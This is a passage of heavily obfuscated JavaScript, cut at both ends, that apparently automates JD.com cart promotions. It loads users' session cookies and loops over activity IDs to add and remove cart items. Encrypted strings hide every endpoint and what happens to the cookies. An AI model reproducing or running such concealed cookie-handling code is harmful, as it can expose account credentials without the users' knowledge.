_0x2c30f5=0x0;_0x2c30f5<0x100;_0x2c30f5++){_0x3366ad[_0x2c30f5]=_0x2c30f5;}for(_0x2c30f5=0x0;_0x2c30f5<0x100;_0x2c30f5++){_0x2b625f=(_0x2b625f+_0x3366ad[_0x2c30f5]+_0x1bb677['charCodeAt'](_0x2c30f5%_0x1bb677['length']))%0x100;_0x39a3d5=_0x3366ad[_0x2c30f5];_0x3366ad[_0x2c30f5]=_0x3366ad[_0x2b625f];_0x3366ad[_0x2b625f]=_0x39a3d5;}_0x2c30f5=0x0;_0x2b625f=0x0;for(var _0x354493=0x0;_0x354493<_0x174fad['length'];_0x354493++){_0x2c30f5=(_0x2c30f5+0x1)%0x100;_0x2b625f=(_0x2b625f+_0x3366ad[_0x2c30f5])%0x100;_0x39a3d5=_0x3366ad[_0x2c30f5];_0x3366ad[_0x2c30f5]=_0x3366ad[_0x2b625f];_0x3366ad[_0x2b625f]=_0x39a3d5;_0x335bce+=String['fromCharCode'](_0x174fad['charCodeAt'](_0x354493)^_0x3366ad[(_0x3366ad[_0x2c30f5]+_0x3366ad[_0x2b625f])%0x100]);}return _0x335bce;}_0x32d7['gEXGAK']=_0x3f1693;_0x32d7['rkmRTG']={};_0x32d7['dFZELv']=!![];}var _0x3c48a2=_0x32d7['rkmRTG'][_0x420d9a];if(_0x3c48a2===undefined){if(_0x32d7['hKCAQc']===undefined){_0x32d7['hKCAQc']=!![];}_0x250c92=_0x32d7['gEXGAK'](_0x250c92,_0x1bb677);_0x32d7['rkmRTG'][_0x420d9a]=_0x250c92;}else{_0x250c92=_0x3c48a2;}return _0x250c92;};const $=new Env(_0x32d7('‮0','\x4c\x4c\x79\x74'));const jdCookieNode=$[_0x32d7('‮1','\x57\x73\x71\x63')]()?require(_0x32d7('‮2','\x68\x6e\x50\x61')):'';const notify=$[_0x32d7('‮3','\x6f\x67\x73\x24')]()?require(_0x32d7('‫4','\x65\x62\x76\x6e')):'';let cookiesArr=[],cookie=message='',isPush=![];let activityIdList=[];let lz_cookie={};let pinBlackLists=[];if(process[_0x32d7('‫5','\x4c\x4c\x79\x74')][_0x32d7('‮6','\x32\x42\x5d\x65')]&&process[_0x32d7('‮7','\x57\x73\x71\x63')][_0x32d7('‮8','\x65\x62\x76\x6e')]!=''){activity_all=process[_0x32d7('‫9','\x65\x62\x76\x6e')][_0x32d7('‮a','\x32\x4c\x69\x67')];}if(process[_0x32d7('‮b','\x4b\x61\x46\x61')][_0x32d7('‮c','\x6a\x6b\x29\x26')]&&process[_0x32d7('‫d','\x77\x21\x4f\x5e')][_0x32d7('‮e','\x39\x66\x70\x45')]!=''){if(process[_0x32d7('‫9','\x65\x62\x76\x6e')][_0x32d7('‮f','\x57\x73\x71\x63')][_0x32d7('‮10','\x57\x73\x71\x63')]('\x26')>-0x1){activityIdList=process[_0x32d7('‮11','\x48\x54\x32\x24')][_0x32d7('‫12','\x77\x69\x47\x6d')][_0x32d7('‮13','\x40\x26\x21\x64')]('\x26');}else{activityIdList=[process[_0x32d7('‮7','\x57\x73\x71\x63')][_0x32d7('‮14','\x59\x68\x5e\x45')]];}}activityIdList=[...new Set(activityIdList[_0x32d7('‮15','\x28\x68\x33\x51')](_0x3ceb74=>!!_0x3ceb74))];if(process[_0x32d7('‮16','\x32\x42\x5d\x65')][_0x32d7('‮17','\x65\x51\x4f\x48')]&&process[_0x32d7('‫18','\x48\x6b\x43\x79')][_0x32d7('‮19','\x48\x6b\x43\x79')]!=''){pinBlackLists=process[_0x32d7('‮1a','\x49\x25\x23\x71')][_0x32d7('‫1b','\x52\x75\x4c\x40')][_0x32d7('‫1c','\x6b\x48\x40\x35')]('\x26');}if($[_0x32d7('‫1d','\x59\x68\x5e\x45')]()){Object[_0x32d7('‮1e','\x32\x5a\x29\x38')](jdCookieNode)[_0x32d7('‫1f','\x74\x30\x66\x44')](_0x53fc5b=>{cookiesArr[_0x32d7('‫20','\x77\x4e\x6c\x62')](jdCookieNode[_0x53fc5b]);});if(process[_0x32d7('‫21','\x58\x5a\x65\x5a')][_0x32d7('‮22','\x42\x48\x40\x69')]&&process[_0x32d7('‫23','\x32\x50\x4f\x23')][_0x32d7('‮22','\x42\x48\x40\x69')]===_0x32d7('‮24','\x4c\x6e\x36\x39'))console[_0x32d7('‫25','\x4d\x21\x70\x78')]=()=>{};}else{let cookiesData=$[_0x32d7('‮26','\x49\x25\x23\x71')](_0x32d7('‮27','\x61\x50\x6f\x78'))||'\x5b\x5d';cookiesData=JSON[_0x32d7('‮28','\x44\x35\x6a\x54')](cookiesData);cookiesArr=cookiesData[_0x32d7('‮29','\x49\x25\x23\x71')](_0x315fcc=>_0x315fcc[_0x32d7('‮2a','\x4d\x6f\x32\x4f')]);cookiesArr[_0x32d7('‮2b','\x39\x58\x59\x4a')]();cookiesArr[_0x32d7('‮2c','\x4d\x21\x70\x78')](...[$[_0x32d7('‫2d','\x56\x6d\x6c\x45')](_0x32d7('‫2e','\x45\x6c\x42\x35')),$[_0x32d7('‮2f','\x44\x35\x6a\x54')](_0x32d7('‮30','\x6f\x75\x6f\x54'))]);cookiesArr[_0x32d7('‮31','\x6b\x48\x40\x35')]();cookiesArr=cookiesArr[_0x32d7('‮32','\x45\x38\x70\x67')](_0x5c0fec=>!!_0x5c0fec);}let doPush=process[_0x32d7('‫33','\x56\x6d\x6c\x45')][_0x32d7('‫34','\x40\x26\x21\x64')]||![];let removeSize=process[_0x32d7('‫35','\x31\x5b\x21\x53')][_0x32d7('‫36','\x40\x26\x21\x64')]||0x14;let isRemoveAll=process[_0x32d7('‮1a','\x49\x25\x23\x71')][_0x32d7('‫37','\x74\x30\x66\x44')]||!![];$[_0x32d7('‮38','\x74\x30\x66\x44')]=process[_0x32d7('‫18','\x48\x6b\x43\x79')][_0x32d7('‫39','\x48\x6b\x43\x79')]||[];$[_0x32d7('‮3a','\x45\x6c\x42\x35')]=0x0;!(async()=>{var _0x2f0909={'\x49\x4e\x54\x73\x71':_0x32d7('‮3b','\x77\x21\x4f\x5e'),'\x46\x63\x55\x68\x75':_0x32d7('‮3c','\x75\x66\x46\x45'),'\x59\x72\x44\x48\x5a':function(_0x13b8c8,_0xcfbb25){return _0x13b8c8(_0xcfbb25);},'\x64\x6e\x72\x72\x53':function(_0x3969f0,_0x2ac6ee,_0x21c889,_0x36cc81){return _0x3969f0(_0x2ac6ee,_0x21c889,_0x36cc81);},'\x55\x59\x63\x4b\x4f':_0x32d7('‮3d','\x31\x5b\x21\x53'),'\x71\x50\x42\x43\x7a':_0x32d7('‮3e','\x50\x23\x63\x61'),'\x50\x54\x77\x78\x59':_0x32d7('‮3f','\x49\x25\x23\x71'),'\x55\x73\x54\x78\x59':function(_0x4956cf,_0x1309df){return _0x4956cf===_0x1309df;},'\x74\x66\x67\x7a\x68':_0x32d7('‫40','\x77\x57\x5d\x4c'),'\x49\x47\x68\x44\x76':_0x32d7('‮41','\x4d\x21\x70\x78'),'\x48\x4d\x64\x52\x67':function(_0x37f4fc,_0x5329eb){return _0x37f4fc+_0x5329eb;},'\x47\x49\x6b\x55\x50':function(_0x3f8bcd,_0x21def8){return _0x3f8bcd+_0x21def8;},'\x6b\x49\x64\x62\x47':function(_0x38496f,_0x128cae){return _0x38496f+_0x128cae;},'\x53\x53\x77\x4d\x4a':_0x32d7('‮42','\x28\x62\x4e\x77'),'\x6f\x59\x52\x6f\x72':_0x32d7('‫43','\x28\x68\x33\x51'),'\x78\x7a\x45\x45\x5a':_0x32d7('‮44','\x32\x42\x5d\x65'),'\x70\x51\x44\x67\x63':_0x32d7('‮45','\x45\x6c\x42\x35'),'\x5a\x41\x6c\x6e\x51':_0x32d7('‮46','\x52\x75\x4c\x40'),'\x59\x76\x52\x49\x53':_0x32d7('‮47','\x65\x62\x76\x6e'),'\x48\x75\x6e\x75\x77':_0x32d7('‮48','\x45\x6c\x42\x35'),'\x6e\x43\x61\x5a\x4f':function(_0x286398,_0x3688df){return _0x286398<_0x3688df;},'\x42\x48\x58\x6c\x57':function(_0x3be265,_0x1701dc){return _0x3be265!==_0x1701dc;},'\x4a\x50\x4c\x52\x6c':_0x32d7('‮49','\x77\x4e\x6c\x62'),'\x46\x59\x57\x52\x6f':function(_0x462ea6,_0x102450){return _0x462ea6(_0x102450);},'\x6c\x7a\x71\x58\x7a':function(_0x420665,_0x44a16d){return _0x420665!=_0x44a16d;},'\x44\x68\x5a\x73\x53':function(_0x54722d,_0xc6e24f){return _0x54722d+_0xc6e24f;},'\x65\x45\x44\x55\x49':_0x32d7('‫4a','\x50\x23\x63\x61'),'\x58\x63\x6c\x6e\x64':function(_0x54aded){return _0x54aded();},'\x54\x51\x4e\x6d\x61':function(_0x1a0718,_0x5f21fb,_0x133708){return _0x1a0718(_0x5f21fb,_0x133708);},'\x6c\x48\x75\x6f\x63':_0x32d7('‮4b','\x77\x57\x5d\x4c'),'\x57\x6e\x62\x4f\x55':function(_0x47e509,_0x13a1fa){return _0x47e509(_0x13a1fa);},'\x79\x6f\x6b\x42\x4f':_0x32d7('‫4c','\x39\x58\x59\x4a'),'\x49\x61\x77\x59\x48':function(_0x2212cc,_0x1a593b,_0x57ec22){return _0x2212cc(_0x1a593b,_0x57ec22);},'\x4c\x4d\x55\x4a\x61':function(_0xad68ca,_0x1e1c57,_0x9ab90f){return _0xad68ca(_0x1e1c57,_0x9ab90f);},'\x71\x77\x68\x75\x77':function(_0x28c4c2,_0x44d1a7){return _0x28c4c2===_0x44d1a7;},'\x61\x47\x4f\x6c\x4f':function(_0x3f01bd,_0x55b39c){return _0x3f01bd!=_0x55b39c;},'\x45\x56\x54\x7a\x48':_0x32d7('‫4d','\x32\x4c\x69\x67'),'\x42\x6a\x68\x6e\x6a':_0x32d7('‫4e','\x6f\x75\x6f\x54'),'\x61\x44\x69\x72\x78':function(_0x4a765e,_0xfefefe){return _0x4a765e!==_0xfefefe;},'\x74\x70\x7a\x74\x6b':_0x32d7('‫4f','\x77\x69\x47\x6d'),'\x75\x70\x6c\x55\x68':_0x32d7('‮50','\x4c\x6e\x36\x39'),'\x6b\x49\x5a\x66\x73':function(_0x24e68a,_0x1cd440){return _0x24e68a(_0x1cd440);},'\x66\x68\x50\x5a\x62':function(_0x155e19){return _0x155e19();},'\x6e\x59\x57\x6e\x4e':_0x32d7('‫51','\x63\x51\x67\x42'),'\x41\x54\x58\x7a\x50':function(_0x3d65a6,_0x98e6e6){return _0x3d65a6>_0x98e6e6;},'\x67\x43\x66\x4d\x53':_0x32d7('‫52','\x59\x68\x5e\x45'),'\x75\x6c\x42\x50\x63':_0x32d7('‫53','\x32\x42\x5d\x65'),'\x69\x77\x4f\x67\x65':function(_0x22bdc0,_0xa01312){return _0x22bdc0!==_0xa01312;},'\x4b\x58\x54\x4d\x69':_0x32d7('‮54','\x65\x62\x76\x6e'),'\x76\x6a\x71\x44\x6d':function(_0x488b13,_0x28e98a){return _0x488b13===_0x28e98a;},'\x6d\x73\x63\x6d\x52':_0x32d7('‮55','\x39\x58\x59\x4a'),'\x72\x41\x56\x58\x64':_0x32d7('‮56','\x65\x51\x4f\x48')};if(!cookiesArr[0x0]){if(_0x2f0909[_0x32d7('‫57','\x4c\x4c\x79\x74')](_0x2f0909[_0x32d7('‫58','\x65\x62\x76\x6e')],_0x2f0909[_0x32d7('‫59','\x68\x6e\x50\x61')])){$[_0x32d7('‫5a','\x49\x54\x6c\x28')]($[_0x32d7('‫5b','\x58\x5a\x65\x5a')],_0x2f0909[_0x32d7('‫5c','\x6f\x67\x73\x24')],_0x2f0909[_0x32d7('‫5d','\x68\x6e\x50\x61')],{'open-url':_0x2f0909[_0x32d7('‫5e','\x61\x50\x6f\x78')]});return;}else{$[_0x32d7('‫5f','\x4d\x6f\x32\x4f')](_0x2f0909[_0x32d7('‮60','\x44\x35\x6a\x54')]);}}for(let _0x532328 in activityIdList){if(_0x2f0909[_0x32d7('‮61','\x32\x5a\x29\x38')](_0x2f0909[_0x32d7('‫62','\x45\x38\x70\x67')],_0x2f0909[_0x32d7('‫63','\x57\x51\x75\x71')])){try{var _0x44a21c=_0x2f0909[_0x32d7('‫64','\x49\x25\x23\x71')][_0x32d7('‮65','\x32\x50\x4f\x23')]('\x7c'),_0x439bfe=0x0;while(!![]){switch(_0x44a21c[_0x439bfe++]){case'\x30':venderCart=data[_0x32d7('‫66','\x6a\x6b\x29\x26')][_0x32d7('‮67','\x32\x5a\x29\x38')];continue;case'\x31':console[_0x32d7('‮68','\x61\x50\x6f\x78')](_0x32d7('‮69','\x48\x6b\x43\x79')+$[_0x32d7('‫6a','\x6f\x67\x73\x24')]+'\x20\u6761');continue;case'\x32':$[_0x32d7('‮6b','\x58\x5a\x65\x5a')]=data[_0x32d7('‮6c','\x57\x73\x71\x63')][_0x32d7('‮6d','\x49\x54\x6c\x28')];continue;case'\x33':data=_0x2f0909[_0x32d7('‫6e','\x48\x54\x32\x24')](strToJson,_0x2f0909[_0x32d7('‮6f','\x4c\x6e\x36\x39')](getSubstr,data,_0x2f0909[_0x32d7('‮70','\x65\x62\x76\x6e')],_0x2f0909[_0x32d7('‮71','\x6a\x6b\x29\x26')])[_0x32d7('‫72','\x52\x75\x4c\x40')]('\x20\x3b',''));continue;case'\x34':$[_0x32d7('‫73','\x52\x75\x4c\x40')]=data[_0x32d7('‮74','\x57\x73\x71\x63')];continue;case'\x35':$[_0x32d7('‮75','\x32\x42\x5d\x65')]=data[_0x32d7('‮76','\x48\x54\x32\x24')];continue;case'\x36':postBody=_0x2f0909[_0x32d7('‮77','\x6a\x6b\x29\x26')];continue;}break;}}catch(_0x3d1ba9){$[_0x32d7('‫78','\x52\x75\x4c\x40')](_0x3d1ba9,resp);}finally{_0x2f0909[_0x32d7('‮79','\x57\x73\x71\x63')](resolve,data);}}else{activityId=activityIdList[_0x532328];console[_0x32d7('‫7a','\x4b\x61\x46\x61')](_0x2f0909[_0x32d7('‮7b','\x45\x6c\x42\x35')](_0x2f0909[_0x32d7('‮7c','\x6f\x75\x6f\x54')](_0x2f0909[_0x32d7('‫7d','\x61\x50\x6f\x78')](_0x2f0909[_0x32d7('‫7e','\x65\x62\x76\x6e')],_0x532328),_0x2f0909[_0x32d7('‮7f','\x6f\x75\x6f\x54')]),activityId));for(let _0x5e132b=0x0;_0x2f0909[_0x32d7('‫80','\x52\x75\x4c\x40')](_0x5e132b,cookiesArr[_0x32d7('‮81','\x59\x68\x5e\x45')]);_0x5e132b++){if(_0x2f0909[_0x32d7('‫82','\x6f\x75\x6f\x54')](_0x2f0909[_0x32d7('‮83','\x31\x5b\x21\x53')],_0x2f0909[_0x32d7('‫84','\x65\x62\x76\x6e')])){data=JSON[_0x32d7('‫85','\x49\x25\x23\x71')](data);if(_0x2f0909[_0x32d7('‫86','\x6a\x6b\x29\x26')](data[_0x32d7('‮87','\x31\x5b\x21\x53')],'\x30')){$[_0x32d7('‮88','\x61\x50\x6f\x78')]=data[_0x32d7('‫89','\x28\x68\x33\x51')];}}else{if(cookiesArr[_0x5e132b]){cookie=cookiesArr[_0x5e132b];originCookie=cookiesArr[_0x5e132b];newCookie='';$[_0x32d7('‫8a','\x61\x50\x6f\x78')]=_0x2f0909[_0x32d7('‮8b','\x32\x50\x4f\x23')](decodeURIComponent,cookie[_0x32d7('‮8c','\x57\x51\x75\x71')](/pt_pin=(.+?);/)&&cookie[_0x32d7('‮8c','\x57\x51\x75\x71')](/pt_pin=(.+?);/)[0x1]);$[_0x32d7('‫8d','\x32\x4c\x69\x67')]=_0x2f0909[_0x32d7('‮8e','\x48\x6b\x43\x79')](_0x5e132b,0x1);$[_0x32d7('‫8f','\x28\x62\x4e\x77')]=!![];$[_0x32d7('‮90','\x32\x50\x4f\x23')]='';if(_0x2f0909[_0x32d7('‫91','\x4c\x4c\x79\x74')](pinBlackLists[_0x32d7('‮92','\x49\x54\x6c\x28')]($[_0x32d7('‮93','\x32\x4c\x69\x67')]),-0x1)){console[_0x32d7('‫5f','\x4d\x6f\x32\x4f')](_0x2f0909[_0x32d7('‫94','\x48\x6b\x43\x79')](_0x2f0909[_0x32d7('‮95','\x61\x50\x6f\x78')],$[_0x32d7('‫96','\x32\x42\x5d\x65')]));continue;}await _0x2f0909[_0x32d7('‫97','\x6b\x48\x40\x35')](checkCookie);console[_0x32d7('‮98','\x77\x57\x5d\x4c')](_0x32d7('‮99','\x28\x68\x33\x51')+$[_0x32d7('‫9a','\x75\x66\x46\x45')]+'\u3011'+($[_0x32d7('‮9b','\x65\x51\x4f\x48')]||$[_0x32d7('‮9c','\x4b\x61\x46\x61')])+_0x32d7('‮9d','\x4d\x6f\x32\x4f'));if(!$[_0x32d7('‫9e','\x4d\x21\x70\x78')]){$[_0x32d7('‫9f','\x68\x6e\x50\x61')]($[_0x32d7('‫a0','\x42\x48\x40\x69')],_0x32d7('‮a1','\x45\x6c\x42\x35'),_0x32d7('‫a2','\x74\x30\x66\x44')+$[_0x32d7('‮a3','\x77\x57\x5d\x4c')]+'\x20'+($[_0x32d7('‮a4','\x48\x54\x32\x24')]||$[_0x32d7('‮a5','\x4d\x6f\x32\x4f')])+_0x32d7('‮a6','\x40\x26\x21\x64'),{'open-url':_0x2f0909[_0x32d7('‮a7','\x57\x51\x75\x71')]});if($[_0x32d7('‮a8','\x49\x25\x23\x71')]()){await notify[_0x32d7('‮a9','\x75\x66\x46\x45')]($[_0x32d7('‮aa','\x77\x69\x47\x6d')]+_0x32d7('‫ab','\x42\x48\x40\x69')+$[_0x32d7('‫ac','\x6a\x6b\x29\x26')],_0x32d7('‮ad','\x48\x54\x32\x24')+$[_0x32d7('‫ae','\x56\x6d\x6c\x45')]+'\x20'+$[_0x32d7('‫af','\x44\x35\x6a\x54')]+_0x32d7('‫b0','\x4d\x6f\x32\x4f'));}continue;}authorCodeList=[''];$[_0x32d7('‫b1','\x6f\x67\x73\x24')]=0x0;$[_0x32d7('‮b2','\x6f\x75\x6f\x54')]=_0x2f0909[_0x32d7('‮b3','\x4d\x6f\x32\x4f')](getUUID,_0x2f0909[_0x32d7('‮b4','\x32\x4c\x69\x67')],0x1);$[_0x32d7('‮b5','\x50\x23\x63\x61')]=_0x2f0909[_0x32d7('‫b6','\x68\x6e\x50\x61')](getUUID,_0x2f0909[_0x32d7('‫b7','\x31\x5b\x21\x53')]);$[_0x32d7('‮b8','\x77\x57\x5d\x4c')]=authorCodeList[_0x2f0909[_0x32d7('‫b9','\x28\x62\x4e\x77')](random,0x0,authorCodeList[_0x32d7('‮ba','\x40\x26\x21\x64')])];$[_0x32d7('‮bb','\x59\x68\x5e\x45')]=''+_0x2f0909[_0x32d7('‮bc','\x77\x4e\x6c\x62')](random,0xf4240,0x98967f);$[_0x32d7('‫bd','\x28\x68\x33\x51')]=activityId;$[_0x32d7('‫be','\x58\x5a\x65\x5a')]=_0x32d7('‫bf','\x5e\x24\x73\x34')+$[_0x32d7('‮c0','\x48\x54\x32\x24')]+_0x32d7('‫c1','\x31\x5b\x21\x53')+$[_0x32d7('‮c2','\x74\x30\x66\x44')]+_0x32d7('‫c3','\x79\x68\x6c\x49')+_0x2f0909[_0x32d7('‮c4','\x6f\x75\x6f\x54')](encodeURIComponent,$[_0x32d7('‫c5','\x39\x58\x59\x4a')])+_0x32d7('‮c6','\x6f\x67\x73\x24');$[_0x32d7('‫c7','\x6a\x6b\x29\x26')]=![];$[_0x32d7('‮c8','\x45\x6c\x42\x35')]=null;await _0x2f0909[_0x32d7('‫c9','\x28\x62\x4e\x77')](addCart);if(_0x2f0909[_0x32d7('‮ca','\x56\x6d\x6c\x45')]($[_0x32d7('‮cb','\x42\x48\x40\x69')],![])||_0x2f0909[_0x32d7('‫cc','\x49\x54\x6c\x28')]($[_0x32d7('‫cd','\x49\x54\x6c\x28')],null)){break;}else if(_0x2f0909[_0x32d7('‮ce','\x7a\x6d\x4b\x45')]($[_0x32d7('‮cf','\x68\x6e\x50\x61')],null)&&!$[_0x32d7('‫cd','\x49\x54\x6c\x28')][_0x32d7('‮d0','\x6b\x48\x40\x35')]('\u4eac\u8c46')){break;}await $[_0x32d7('‮d1','\x6f\x67\x73\x24')](0x3e8);await _0x2f0909[_0x32d7('‮d2','\x57\x73\x71\x63')](requireConfig);do{if(_0x2f0909[_0x32d7('‫d3','\x44\x35\x6a\x54')](_0x2f0909[_0x32d7('‮d4','\x75\x66\x46\x45')],_0x2f0909[_0x32d7('‮d5','\x49\x54\x6c\x28')])){await _0x2f0909[_0x32d7('‫d6','\x56\x6d\x6c\x45')](getCart_xh);$[_0x32d7('‮d7','\x61\x50\x6f\x78')]=0x0;if(_0x2f0909[_0x32d7('‮d8','\x58\x5a\x65\x5a')]($[_0x32d7('‮d9','\x44\x35\x6a\x54')],'\x30')){if(_0x2f0909[_0x32d7('‮da','\x6f\x75\x6f\x54')](_0x2f0909[_0x32d7('‫db','\x74\x30\x66\x44')],_0x2f0909[_0x32d7('‮dc','\x7a\x6d\x4b\x45')])){$[_0x32d7('‮dd','\x5e\x24\x73\x34')](e,resp);}else{await _0x2f0909[_0x32d7('‫de','\x6f\x67\x73\x24')](cartFilter_xh,venderCart);if(_0x2f0909[_0x32d7('‮d8','\x58\x5a\x65\x5a')](_0x2f0909[_0x32d7('‮df','\x7a\x6d\x4b\x45')](parseInt,$[_0x32d7('‫e0','\x28\x68\x33\x51')]),$[_0x32d7('‮e1','\x39\x58\x59\x4a')]))await _0x2f0909[_0x32d7('‮e2','\x52\x75\x4c\x40')](removeCart);else{console[_0x32d7('‫e3','\x4c\x4c\x79\x74')](_0x2f0909[_0x32d7('‮e4','\x31\x5b\x21\x53')]);break;}}}else break;}else{_0x2f0909[_0x32d7('‮e5','\x65\x51\x4f\x48')](resolve,data);}}while(isRemoveAll&&_0x2f0909[_0x32d7('‮e6','\x49\x54\x6c\x28')]($[_0x32d7('‮e7','\x4d\x6f\x32\x4f')],$[_0x32d7('‮e8','\x42\x48\x40\x69')]));if(_0x2f0909[_0x32d7('‫e9','\x65\x51\x4f\x48')]($[_0x32d7('‫ea','\x77\x21\x4f\x5e')],0x0)){if(_0x2f0909[_0x32d7('‮eb','\x39\x66\x70\x45')](_0x2f0909[_0x32d7('‫ec','\x5e\x24\x73\x34')],_0x2f0909[_0x32d7('‮ed','\x5e\x24\x73\x34')])){message+=_0x32d7('‫ee','\x77\x21\x4f\x5e')+$[_0x32d7('‮ef','\x6f\x67\x73\x24')]+'\u3011'+($[_0x32d7('‫f0','\x61\x50\x6f\x78')]||$[_0x32d7('‮f1','\x77\x4e\x6c\x62')])+_0x32d7('‫f2','\x40\x26\x21\x64')+$[_0x32d7('‮f3','\x4d\x6f\x32\x4f')]+_0x32d7('‫f4','\x4d\x6f\x32\x4f');}else{$[_0x32d7('‮f5','\x39\x66\x70\x45')](error);}}}await $[_0x32d7('‫f6','\x77\x4e\x6c\x62')](0x3e8);}}await $[_0x32d7('‫f7','\x65\x62\x76\x6e')](0x3e8);}}if(_0x2f0909[_0x32d7('‫f8','\x6b\x48\x40\x35')](message,'')){if($[_0x32d7('‫f9','\x48\x54\x32\x24')]()){if(_0x2f0909[_0x32d7('‫fa','\x31\x5b\x21\x53')](_0x2f0909[_0x32d7('‮fb','\x57\x51\x75\x71')],_0x2f0909[_0x32d7('‮fc','\x7a\x6d\x4b\x45')])){if(resp[_0x2f0909[_0x32d7('‫fd','\x32\x50\x4f\x23')]][_0x2f0909[_0x32d7('‮fe','\x28\x68\x33\x51')]]){cookie=originCookie+'\x3b';for(let _0x142fe7 of resp[_0x2f0909[_0x32d7('‫ff','\x65\x78\x2a\x52')]][_0x2f0909[_0x32d7('‫100','\x7a\x6d\x4b\x45')]]){lz_cookie[_0x142fe7[_0x32d7('‫101','\x77\x4e\x6c\x62')]('\x3b')[0x0][_0x32d7('‫102','\x48\x54\x32\x24')](0x0,_0x142fe7[_0x32d7('‫1c','\x6b\x48\x40\x35')]('\x3b')[0x0][_0x32d7('‫103','\x57\x51\x75\x71')]('\x3d'))]=_0x142fe7[_0x32d7('‫104','\x48\x6b\x43\x79')]('\x3b')[0x0][_0x32d7('‫105','\x58\x5a\x65\x5a')](_0x2f0909[_0x32d7('‫106','\x48\x6b\x43\x79')](_0x142fe7[_0x32d7('‫104','\x48\x6b\x43\x79')]('\x3b')[0x0][_0x32d7('‫107','\x45\x6c\x42\x35')]('\x3d'),0x1));}for(const _0xb86670 of Object[_0x32d7('‮108','\x28\x68\x33\x51')](lz_cookie)){cookie+=_0x2f0909[_0x32d7('‫109','\x65\x78\x2a\x52')](_0x2f0909[_0x32d7('‫10a','\x4c\x6e\x36\x39')](_0x2f0909[_0x32d7('‮10b','\x57\x51\x75\x71')](_0xb86670,'\x3d'),lz_cookie[_0xb86670]),'\x3b');}}}else{await notify[_0x32d7('‫10c','\x4d\x21\x70\x78')]($[_0x32d7('‫10d','\x6f\x75\x6f\x54')],message,'\x0a');}}else{if(_0x2f0909[_0x32d7('‮10e','\x77\x21\x4f\x5e')](_0x2f0909[_0x32d7('‮10f','\x6a\x6b\x29\x26')],_0x2f0909[_0x32d7('‮110','\x4c\x6e\x36\x39')])){$[_0x32d7('‫111','\x59\x68\x5e\x45')]($[_0x32d7('‮112','\x48\x6b\x43\x79')],_0x2f0909[_0x32d7('‫113','\x50\x23\x63\x61')],message);}else{$[_0x32d7('‫114','\x50\x23\x63\x61')](err);}}}})()[_0x32d7('‫115','\x65\x51\x4f\x48')](_0x2ada4f=>{$[_0x32d7('‫116','\x5e\x24\x73\x34')]('\u274c\x20'+$[_0x32d7('‫117','\x74\x30\x66\x44')]+_0x32d7('‫118','\x28\x62\x4e\x77')+_0x2ada4f+'\x21','');})[_0x32d7('‫119','\x57\x51\x75\x71')](()=>{$[_0x32d7('‮11a','\x4c\x6e\x36\x39')]();});async function addCart(){var _0x4b3873={'\x49\x48\x42\x69\x6f':function(_0x244563){return _0x244563();},'\x4f\x6d\x74\x74\x5a':function(_0x1c47e1){return _0x1c47e1();},'\x43\x4d\x54\x4a\x41':function(_0x5de8c8,_0x4597ca,_0x2bfe59,_0x4cf7fa){return _0x5de8c8(_0x4597ca,_0x2bfe59,_0x4cf7fa);},'\x6b\x55\x75\x66\x59':_0x32d7('‮11b','\x65\x78\x2a\x52'),'\x43\x72\x6b\x5a\x56':function(_0x2d1196,_0x5d5521){return _0x2d1196===_0x5d5521;},'\x76\x6d\x4f\x4b\x4c':_0x32d7('‫11c','\x32\x5a\x29\x38'),'\x48\x68\x70\x70\x41':_0x32d7('‫11d','\x7a\x6d\x4b\x45'),'\x74\x74\x68\x65\x51':_0x32d7('‮11e','\x32\x4c\x69\x67'),'\x66\x68\x4e\x7a\x76':function(_0x1ba82d,_0x3cd717){return _0x1ba82d(_0x3cd717);},'\x77\x75\x49\x41\x76':function(_0x26d345,_0x7a9900,_0x588e0d){return _0x26d345(_0x7a9900,_0x588e0d);},'\x54\x5a\x54\x48\x5a':_0x32d7('‫11f','\x45\x6c\x42\x35'),'\x77\x70\x48\x4c\x4d':function(_0x2bebce,_0xf7dd34){return _0x2bebce(_0xf7dd34);},'\x5a\x49\x72\x43\x52':_0x32d7('‫120','\x57\x73\x71\x63'),'\x49\x49\x47\x46\x68':function(_0x244d67,_0x1eeb66,_0x1ababb){return _0x244d67(_0x1eeb66,_0x1ababb);},'\x42\x52\x6e\x4f\x75':_0x32d7('‮121','\x49\x25\x23\x71'),'\x68\x44\x7a\x75\x64':function(_0x387069,_0x32c534){return _0x387069(_0x32c534);},'\x67\x48\x50\x4b\x4c':_0x32d7('‮122','\x5e\x24\x73\x34'),'\x76\x51\x4d\x45\x6e':function(_0x277826,_0x3ff148,_0x52b334){return _0x277826(_0x3ff148,_0x52b334);},'\x4c\x59\x76\x49\x72':_0x32d7('‮123','\x77\x21\x4f\x5e'),'\x67\x4e\x64\x4a\x4b':_0x32d7('‮124','\x44\x35\x6a\x54'),'\x4c\x6b\x70\x70\x41':_0x32d7('‫125','\x4b\x61\x46\x61'),'\x4a\x57\x44\x6d\x4f':_0x32d7('‫126','\x63\x51\x67\x42')};$[_0x32d7('‮127','\x57\x73\x71\x63')]=null;$[_0x32d7('‫128','\x45\x6c\x42\x35')]=null;$[_0x32d7('‫129','\x28\x62\x4e\x77')]=null;await _0x4b3873[_0x32d7('‫12a','\x6f\x75\x6f\x54')](getFirstLZCK);await _0x4b3873[_0x32d7('‫12b','\x65\x62\x76\x6e')](getToken);await _0x4b3873[_0x32d7('‫12c','\x45\x6c\x42\x35')](task,_0x4b3873[_0x32d7('‫12d','\x49\x25\x23\x71')],_0x32d7('‮12e','\x45\x6c\x42\x35')+$[_0x32d7('‮12f','\x50\x23\x63\x61')],0x1);if($[_0x32d7('‮130','\x65\x51\x4f\x48')]){await _0x4b3873[_0x32d7('‫131','\x65\x78\x2a\x52')](getMyPing);if($[_0x32d7('‫132','\x74\x30\x66\x44')]){if(_0x4b3873[_0x32d7('‮133','\x6f\x75\x6f\x54')](_0x4b3873[_0x32d7('‮134','\x50\x23\x63\x61')],_0x4b3873[_0x32d7('‫135','\x40\x26\x21\x64')])){$[_0x32d7('‫136','\x42\x48\x40\x69')]=process[_0x32d7('‫137','\x28\x68\x33\x51')][_0x32d7('‮138','\x6f\x75\x6f\x54')][_0x32d7('‮139','\x57\x51\x75\x71')]('\x40');}else{await 